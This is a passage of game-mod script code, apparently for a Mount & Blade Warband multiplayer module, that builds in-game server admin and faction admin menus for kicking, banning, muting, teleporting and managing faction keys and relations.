pos1), (set_container_overlay, reg0), (init_position, pos2), (position_set_x, pos2, 900), (position_set_y, pos2, 900), (assign, ":cur_y", 10), (position_set_x, pos1, 130), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_factions, 0), (player_get_slot, ":faction_id", ":my_player_id"), (is_between, ":faction_id", castle_factions_begin, factions_end), (try_begin), (faction_slot_eq, ":faction_id", slot_faction_is_locked, 0), (create_button_overlay, reg0, "str_lock_current_faction"), (else_try), (create_button_overlay, reg0, "str_unlock_current_faction"), (try_end), (assign, "$g_presentation_obj_admin_menu_lock_faction", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_lock_faction", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_ships, 0), (create_button_overlay, reg0, "str_reset_sunken_ships"), (assign, "$g_presentation_obj_admin_menu_reset_ships", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_teleport_to_ships"), (assign, "$g_presentation_obj_admin_menu_teleport_to_ships", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_reset_ships", -1), (assign, "$g_presentation_obj_admin_menu_teleport_to_ships", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_animals, 0), (create_button_overlay, reg0, "str_remove_stray_horses"), (assign, "$g_presentation_obj_admin_menu_remove_stray_horses", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_remove_stray_horses", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_admin_items, 0), (create_button_overlay, reg0, "str_remove_admin_horses"), (assign, "$g_presentation_obj_admin_menu_remove_horses", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_spawn_admin_horse"), (assign, "$g_presentation_obj_admin_menu_admin_horse", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_remove_horses", -1), (assign, "$g_presentation_obj_admin_menu_admin_horse", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_godlike_troop, 0), (create_button_overlay, reg0, "str_become_godlike"), (assign, "$g_presentation_obj_admin_menu_become_godlike", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_become_godlike", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_heal_self, 0), (create_button_overlay, reg0, "str_refill_health"), (assign, "$g_presentation_obj_admin_menu_refill_health", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_refill_health", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_admin_items, 0), (create_button_overlay, reg0, "str_become_invisible"), (assign, "$g_presentation_obj_admin_menu_become_invisible", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_equip_admin_armor"), (assign, "$g_presentation_obj_admin_menu_admin_armor", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_become_invisible", -1), (assign, "$g_presentation_obj_admin_menu_admin_armor", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_teleport_self, 0), (create_button_overlay, reg0, "str_teleport_forwards"), (assign, "$g_presentation_obj_admin_menu_teleport_forwards", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_teleport_behind_player"), (assign, "$g_presentation_obj_admin_menu_teleport_behind_player", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_teleport_to_player"), (assign, "$g_presentation_obj_admin_menu_teleport_to_player", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_teleport_forwards", -1), (assign, "$g_presentation_obj_admin_menu_teleport_behind_player", -1), (assign, "$g_presentation_obj_admin_menu_teleport_to_player", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_freeze, 0), (create_button_overlay, reg0, "str_freeze_player"), (assign, "$g_presentation_obj_admin_menu_freeze_player", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_freeze_player", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_kill_fade, 0), (create_button_overlay, reg0, "str_fade_player_out"), (assign, "$g_presentation_obj_admin_menu_fade_player_out", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, reg0, "str_kill_player"), (assign, "$g_presentation_obj_admin_menu_kill_player", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_fade_player_out", -1), (assign, "$g_presentation_obj_admin_menu_kill_player", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_mute, 0), (create_button_overlay, reg0, "str_mute_player"), (assign, "$g_presentation_obj_admin_menu_mute_player", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_mute_player", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_permanent_ban, 0), (create_button_overlay, reg0, "str_ban_player_perm"), (assign, "$g_presentation_obj_admin_menu_ban_player_perm", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_ban_player_perm", -1), (try_end), (try_begin), #(player_slot_eq, ":my_player_id", slot_player_admin_no_temporary_ban, 0), (create_button_overlay, reg0, "str_ban_player_temp", 0), (assign, "$g_presentation_obj_admin_menu_ban_player_temp", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_ban_player_temp", -1), (try_end), (try_begin), (player_slot_eq, ":my_player_id", slot_player_admin_no_kick, 0), (create_button_overlay, reg0, "str_kick_player", 0), (assign, "$g_presentation_obj_admin_menu_kick_player", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (else_try), (assign, "$g_presentation_obj_admin_menu_kick_player", -1), (try_end), (try_begin), (player_is_active, "$g_target_player_id"), (player_slot_eq, "$g_target_player_id", slot_player_list_button_id, -1), (str_store_player_username, s1, "$g_target_player_id"), (str_store_string, s0, "str_choose_an_option_targeting_s1"), (else_try), (str_store_string, s0, "str_choose_an_option"), (try_end), (create_text_overlay, reg0, s0, 0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (eq, ":object", "$g_presentation_obj_admin_menu_kick_player"), (assign, ":action", admin_action_kick_player), (assign, "$g_list_players_action_string_id", "str_kick"), #(else_try), #(eq, ":object", "$g_presentation_obj_admin_menu_ban_player_temp"), #(assign, ":action", admin_action_ban_player_temp), #(assign, "$g_list_players_action_string_id", "str_ban_temp"), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_ban_player_perm"), (assign, ":action", admin_action_ban_player_perm), (assign, "$g_list_players_action_string_id", "str_ban_perm"), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_mute_player"), (assign, ":action", admin_action_mute_player), (assign, "$g_list_players_action_string_id", "str_mute"), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_kill_player"), (assign, ":action", admin_action_kill_player), (assign, "$g_list_players_action_string_id", "str_kill"), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_fade_player_out"), (assign, ":action", admin_action_fade_player_out), (assign, "$g_list_players_action_string_id", "str_fade_out"), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_freeze_player"), (assign, ":action", admin_action_freeze_player), (assign, "$g_list_players_action_string_id", "str_freeze"), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_teleport_to_player"), (assign, ":action", admin_action_teleport_to_player), (assign, "$g_list_players_action_string_id", "str_teleport_to"), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_teleport_behind_player"), (assign, ":action", admin_action_teleport_behind_player), (assign, "$g_list_players_action_string_id", "str_teleport_behind"), (else_try), (assign, ":action", -1), (eq, ":object", "$g_presentation_obj_admin_menu_teleport_forwards"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_teleport_forwards), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_admin_armor"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_get_armor), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_become_invisible"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_get_invisible), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_refill_health"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_refill_health), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_become_godlike"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_become_godlike), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_admin_horse"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_get_horse), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_remove_horses"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_remove_horses), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_remove_stray_horses"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_remove_stray_horses), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_teleport_to_ships"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_teleport_to_ships), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_reset_ships"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_reset_ships), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_lock_faction"), (multiplayer_send_int_to_server, client_event_admin_action, admin_action_lock_faction), (else_try), (eq, ":object", "$g_presentation_obj_admin_menu_ban_player_temp"), (presentation_set_duration, 0), (start_presentation, "prsnt_temp_db_ban"), (try_end), (gt, ":action", -1), (presentation_set_duration, 0), (try_begin), (player_is_active, "$g_target_player_id"), (player_slot_eq, "$g_target_player_id", slot_player_list_button_id, -1), (multiplayer_send_2_int_to_server, client_event_admin_action, ":action", "$g_target_player_id"), (else_try), (assign, "$g_list_players_event", client_event_admin_action), (assign, "$g_list_players_event_value", ":action"), (assign, "$g_list_players_return_presentation", "prsnt_admin_menu"), (start_presentation, "prsnt_list_players"), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (presentation_set_duration, 0), (try_end), ]), ]), ("temp_db_ban", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (multiplayer_get_my_player, ":my_player_id"), (player_is_admin, ":my_player_id"), (create_mesh_overlay, reg0, "mesh_mp_ingame_menu"), (position_set_x, pos1, 250), (position_set_y, pos1, 80), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, reg0, pos1), (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable_style_2), (position_set_x, pos1, 285), (position_set_y, pos1, 125), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 405), (position_set_y, pos1, 500), (overlay_set_area_size, reg0, pos1), (set_container_overlay, reg0), (init_position, pos2), (position_set_x, pos2, 900), (position_set_y, pos2, 900), (assign, ":cur_y", 10), (position_set_x, pos1, 130), (try_begin), #(player_slot_eq, ":my_player_id", slot_player_admin_temp_ban_1m, 0), (player_slot_eq, ":my_player_id", slot_player_admin_no_temporary_ban, 0), (create_button_overlay, reg0, "str_admin_temp_1m"), (assign, "$g_presentation_obj_admin_temp_1m", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), #(player_slot_eq, ":my_player_id", slot_player_admin_temp_ban_3w, 0), (create_button_overlay, reg0, "str_admin_temp_3w"), (assign, "$g_presentation_obj_admin_temp_3w", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), #(player_slot_eq, ":my_player_id", slot_player_admin_temp_ban_2w, 0), (create_button_overlay, reg0, "str_admin_temp_2w"), (assign, "$g_presentation_obj_admin_temp_2w", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), #(player_slot_eq, ":my_player_id", slot_player_admin_temp_ban_1w, 0), (create_button_overlay, reg0, "str_admin_temp_1w"), (assign, "$g_presentation_obj_admin_temp_1w", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), #(player_slot_eq, ":my_player_id", slot_player_admin_temp_ban_3d, 0), (create_button_overlay, reg0, "str_admin_temp_3d"), (assign, "$g_presentation_obj_admin_temp_3d", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), #(player_slot_eq, ":my_player_id", slot_player_admin_temp_ban_1d, 0), (create_button_overlay, reg0, "str_admin_temp_1d"), (assign, "$g_presentation_obj_admin_temp_1d", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), #(player_slot_eq, ":my_player_id", slot_player_admin_temp_ban_12h, 0), (create_button_overlay, reg0, "str_admin_temp_12h"), (assign, "$g_presentation_obj_admin_temp_12h", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), #(player_slot_eq, ":my_player_id", slot_player_admin_temp_ban_3h, 0), (create_button_overlay, reg0, "str_admin_temp_3h"), (assign, "$g_presentation_obj_admin_temp_3h", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), #(player_slot_eq, ":my_player_id", slot_player_admin_temp_ban_1h, 0), (create_button_overlay, reg0, "str_admin_temp_1h"), (assign, "$g_presentation_obj_admin_temp_1h", reg0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (val_add, ":cur_y", escape_menu_item_height), (try_end), (try_begin), (player_is_active, "$g_target_player_id"), (player_slot_eq, "$g_target_player_id", slot_player_list_button_id, -1), (str_store_player_username, s1, "$g_target_player_id"), (str_store_string, s0, "str_choose_an_option_targeting_s1"), (else_try), (str_store_string, s0, "str_choose_an_option"), (try_end), (create_text_overlay, reg0, s0, 0), (overlay_set_color, reg0, 0xFFFFFF), (overlay_set_size, reg0, pos2), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (eq, ":object", "$g_presentation_obj_admin_temp_1h"), (assign, ":action", admin_action_temp_ban_1h), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (else_try), (eq, ":object", "$g_presentation_obj_admin_temp_3h"), (assign, ":action", admin_action_temp_ban_3h), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (else_try), (eq, ":object", "$g_presentation_obj_admin_temp_12h"), (assign, ":action", admin_action_temp_ban_12h), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (else_try), (eq, ":object", "$g_presentation_obj_admin_temp_1d"), (assign, ":action", admin_action_temp_ban_1d), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (else_try), (eq, ":object", "$g_presentation_obj_admin_temp_3d"), (assign, ":action", admin_action_temp_ban_3d), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (else_try), (eq, ":object", "$g_presentation_obj_admin_temp_1w"), (assign, ":action", admin_action_temp_ban_1w), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (else_try), (eq, ":object", "$g_presentation_obj_admin_temp_2w"), (assign, ":action", admin_action_temp_ban_2w), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (else_try), (eq, ":object", "$g_presentation_obj_admin_temp_3w"), (assign, ":action", admin_action_temp_ban_3w), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (else_try), (eq, ":object", "$g_presentation_obj_admin_temp_1m"), (assign, ":action", admin_action_temp_ban_1m), (assign, "$g_list_players_action_string_id", "str_ban_temp"), (try_end), (gt, ":action", -1), (presentation_set_duration, 0), (try_begin), (player_is_active, "$g_target_player_id"), (player_slot_eq, "$g_target_player_id", slot_player_list_button_id, -1), (multiplayer_send_2_int_to_server, client_event_admin_action, ":action", "$g_target_player_id"), (else_try), (assign, "$g_list_players_event", client_event_admin_action), (assign, "$g_list_players_event_value", ":action"), (assign, "$g_list_players_return_presentation", "prsnt_admin_menu"), (start_presentation, "prsnt_list_players"), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), (key_clicked, key_escape), (gt, ":cur_time", 200), (presentation_set_duration, 0), (try_end), ]), ]), ("faction_admin_menu", prsntf_manual_end_only, 0, [(ti_on_presentation_load, [(set_fixed_point_multiplier, 1000), (create_mesh_overlay, reg0, "mesh_mp_ingame_menu"), (position_set_x, pos1, 250), (position_set_y, pos1, 80), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 1000), (position_set_y, pos1, 1000), (overlay_set_size, reg0, pos1), (str_clear, s0), (create_text_overlay, reg0, s0, tf_scrollable_style_2), (position_set_x, pos1, 285), (position_set_y, pos1, 125), (overlay_set_position, reg0, pos1), (position_set_x, pos1, 405), (position_set_y, pos1, 500), (overlay_set_area_size, reg0, pos1), (set_container_overlay, reg0), (init_position, pos2), (position_set_x, pos2, 900), (position_set_y, pos2, 900), (assign, ":cur_y", 10), (position_set_x, pos1, 200), (create_button_overlay, "$g_presentation_obj_faction_admin_relation_peaceful", "str_offer_faction_peace", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_relation_peaceful", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_relation_peaceful", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_relation_peaceful", pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, "$g_presentation_obj_faction_admin_relation_hostile", "str_declare_faction_hostile", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_relation_hostile", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_relation_hostile", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_relation_hostile", pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, "$g_presentation_obj_faction_admin_manage_announcers", "str_manage_announcers", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_manage_announcers", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_manage_announcers", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_manage_announcers", pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, "$g_presentation_obj_faction_admin_manage_item_keys", "str_manage_item_chest_keys", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_manage_item_keys", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_manage_item_keys", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_manage_item_keys", pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, "$g_presentation_obj_faction_admin_manage_money_keys", "str_manage_money_chest_keys", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_manage_money_keys", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_manage_money_keys", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_manage_money_keys", pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, "$g_presentation_obj_faction_admin_manage_door_keys", "str_manage_door_keys", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_manage_door_keys", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_manage_door_keys", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_manage_door_keys", pos1), (val_add, ":cur_y", escape_menu_item_height), (create_button_overlay, "$g_presentation_obj_faction_admin_mute_player", "str_mute_player", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_mute_player", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_mute_player", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_mute_player", pos1), (val_add, ":cur_y", escape_menu_item_height), (assign, reg0, 0), (try_begin), (neq, "$g_game_type", "mt_no_money"), (assign, reg0, faction_cost_outlaw_player), (try_end), (str_store_string, s0, "str_outlaw_player"), (create_button_overlay, "$g_presentation_obj_faction_admin_outlaw_player", "str_s0__reg0_", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_outlaw_player", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_outlaw_player", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_outlaw_player", pos1), (val_add, ":cur_y", escape_menu_item_height), (try_begin), (neq, "$g_game_type", "mt_no_money"), (assign, reg0, faction_cost_kick_player), (try_end), (str_store_string, s0, "str_kick_player_from_faction"), (create_button_overlay, "$g_presentation_obj_faction_admin_kick_player", "str_s0__reg0_", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_kick_player", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_kick_player", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_kick_player", pos1), (val_add, ":cur_y", escape_menu_item_height), (try_begin), (neq, "$g_game_type", "mt_no_money"), (assign, reg0, faction_cost_change_name), (try_end), (str_store_string, s0, "str_change_faction_name"), (create_button_overlay, "$g_presentation_obj_faction_admin_change_name", "str_s0__reg0_", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_change_name", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_change_name", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_change_name", pos1), (val_add, ":cur_y", escape_menu_item_height), (try_begin), (neq, "$g_game_type", "mt_no_money"), (assign, reg0, faction_cost_change_banner), (try_end), (str_store_string, s0, "str_change_faction_banner"), (create_button_overlay, "$g_presentation_obj_faction_admin_change_banner", "str_s0__reg0_", tf_center_justify), (overlay_set_color, "$g_presentation_obj_faction_admin_change_banner", 0xFFFFFF), (overlay_set_size, "$g_presentation_obj_faction_admin_change_banner", pos2), (position_set_y, pos1, ":cur_y"), (overlay_set_position, "$g_presentation_obj_faction_admin_change_banner", pos1), (val_add, ":cur_y", escape_menu_item_height), (create_text_overlay, reg0, "str_choose_an_option", 0), (overlay_set_color, reg0, 0xFFFFFF), (position_set_x, pos1, 0), (position_set_y, pos1, ":cur_y"), (overlay_set_position, reg0, pos1), (overlay_set_size, reg0, pos2), (presentation_set_duration, 999999), ]), (ti_on_presentation_event_state_change, [(store_trigger_param_1, ":object"), (try_begin), (eq, ":object", "$g_presentation_obj_faction_admin_change_banner"), (presentation_set_duration, 0), (start_presentation, "prsnt_faction_banner_selection"), (else_try), (eq, ":object", "$g_presentation_obj_faction_admin_change_name"), (presentation_set_duration, 0), (assign, "$g_chat_box_string_id", "str_change_name_of_your_faction"), (assign, "$g_chat_box_event_type", chat_event_type_set_faction_name), (start_presentation, "prsnt_chat_box"), (else_try), (assign, ":found", 1), (try_begin), (eq, ":object", "$g_presentation_obj_faction_admin_kick_player"), (assign, "$g_list_players_event_value", faction_admin_action_kick_player), (assign, "$g_list_players_action_string_id", "str_kick"), (else_try), (eq, ":object", "$g_presentation_obj_faction_admin_outlaw_player"), (assign, "$g_list_players_event_value", faction_admin_action_outlaw_player), (assign, "$g_list_players_action_string_id", "str_outlaw"), (else_try), (assign, "$g_list_players_keep_open", 1), (eq, ":object", "$g_presentation_obj_faction_admin_mute_player"), (assign, "$g_list_players_event_value", faction_admin_action_mute_player), (assign, "$g_list_players_action_string_id", "str_mute"), (else_try), (eq, ":object", "$g_presentation_obj_faction_admin_manage_door_keys"), (assign, "$g_list_players_event_value", faction_admin_action_toggle_player_door_key), (assign, "$g_list_players_action_string_id", "str_give_take_door_key"), (else_try), (eq, ":object", "$g_presentation_obj_faction_admin_manage_money_keys"), (assign, "$g_list_players_event_value", faction_admin_action_toggle_player_money_key), (assign, "$g_list_players_action_string_id", "str_give_take_money_chest_key"), (else_try), (eq, ":object", "$g_presentation_obj_faction_admin_manage_item_keys"), (assign, "$g_list_players_event_value", faction_admin_action_toggle_player_item_key), (assign, "$g_list_players_action_string_id", "str_give_take_item_chest_key"), (else_try), (eq, ":object", "$g_presentation_obj_faction_admin_manage_announcers"), (assign, "$g_list_players_event_value", faction_admin_action_toggle_player_announce), (assign, "$g_list_players_action_string_id", "str_allow_disallow_announcing"), (else_try), (assign, ":found", 0), (try_end), (eq, ":found", 1), (presentation_set_duration, 0), (assign, "$g_list_players_event", client_event_faction_admin_action), (assign, "$g_list_players_return_presentation", "prsnt_faction_admin_menu"), (start_presentation, "prsnt_list_players"), (else_try), (assign, ":found", 1), (try_begin), (eq, ":object", "$g_presentation_obj_faction_admin_relation_hostile"), (assign, "$g_list_factions_event_value", faction_admin_action_set_relation_hostile), (else_try), (eq, ":object", "$g_presentation_obj_faction_admin_relation_peaceful"), (assign, "$g_list_factions_event_value", faction_admin_action_set_relation_peaceful), (else_try), (assign, ":found", 0), (try_end), (eq, ":found", 1), (presentation_set_duration, 0), (assign, "$g_list_factions_event", client_event_faction_admin_action), (assign, "$g_list_factions_return_presentation", "prsnt_faction_admin_menu"), (start_presentation, "prsnt_list_factions"), (try_end), ]), (ti_on_presentation_run, [(store_trigger_param_1, ":cur_time"), (try_begin), 